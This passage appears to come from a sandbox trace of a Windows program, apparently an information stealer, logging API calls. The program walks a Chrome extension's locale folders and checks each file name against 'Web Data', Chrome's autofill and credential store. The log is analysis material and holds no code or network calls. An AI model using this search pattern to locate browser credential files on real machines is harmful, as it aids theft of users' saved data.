Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es" [0056.358] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*.*" [0056.358] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.358] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.358] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.358] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.358] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.359] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.359] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.359] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.359] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.359] LocalFree (hMem=0x2e0328) returned 0x0 [0056.359] LocalFree (hMem=0x2e0218) returned 0x0 [0056.359] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.359] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.359] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.359] lstrlenA (lpString="\\") returned 1 [0056.359] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.359] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.359] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.359] lstrlenA (lpString="fi") returned 2 [0056.359] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.359] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.359] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi" [0056.359] LocalFree (hMem=0x2e0108) returned 0x0 [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned 133 [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned 133 [0056.359] lstrlenA (lpString="\\*.*") returned 4 [0056.359] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.359] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi" [0056.359] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*.*" [0056.359] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.359] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.359] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.359] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.359] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.359] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.359] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.359] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.359] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.359] LocalFree (hMem=0x2e0328) returned 0x0 [0056.359] LocalFree (hMem=0x2e0218) returned 0x0 [0056.359] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.359] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.359] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.359] lstrlenA (lpString="\\") returned 1 [0056.359] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.360] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.360] lstrlenA (lpString="fil") returned 3 [0056.360] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0218 [0056.360] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil" [0056.360] LocalFree (hMem=0x2e0108) returned 0x0 [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned 134 [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned 134 [0056.360] lstrlenA (lpString="\\*.*") returned 4 [0056.360] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0328 [0056.360] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil" [0056.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*.*" [0056.360] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.360] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.360] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.360] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.360] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.360] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.360] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.360] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.360] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.360] LocalFree (hMem=0x2e0328) returned 0x0 [0056.360] LocalFree (hMem=0x2e0218) returned 0x0 [0056.360] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.360] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.360] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.360] lstrlenA (lpString="\\") returned 1 [0056.360] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.360] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.360] lstrlenA (lpString="fr") returned 2 [0056.360] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.360] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr" [0056.360] LocalFree (hMem=0x2e0108) returned 0x0 [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned 133 [0056.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned 133 [0056.360] lstrlenA (lpString="\\*.*") returned 4 [0056.360] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.360] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr" [0056.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*.*" [0056.360] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.361] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.361] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.361] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.361] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.361] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.361] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.361] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.361] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.361] LocalFree (hMem=0x2e0328) returned 0x0 [0056.361] LocalFree (hMem=0x2e0218) returned 0x0 [0056.361] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.361] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0056.361] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0056.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.361] lstrlenA (lpString="\\") returned 1 [0056.361] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.361] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.361] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.361] lstrlenA (lpString="he") returned 2 [0056.361] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.361] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.361] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he" [0056.361] LocalFree (hMem=0x2e0108) returned 0x0 [0056.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned 133 [0056.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned 133 [0056.361] lstrlenA (lpString="\\*.*") returned 4 [0056.361] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.361] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 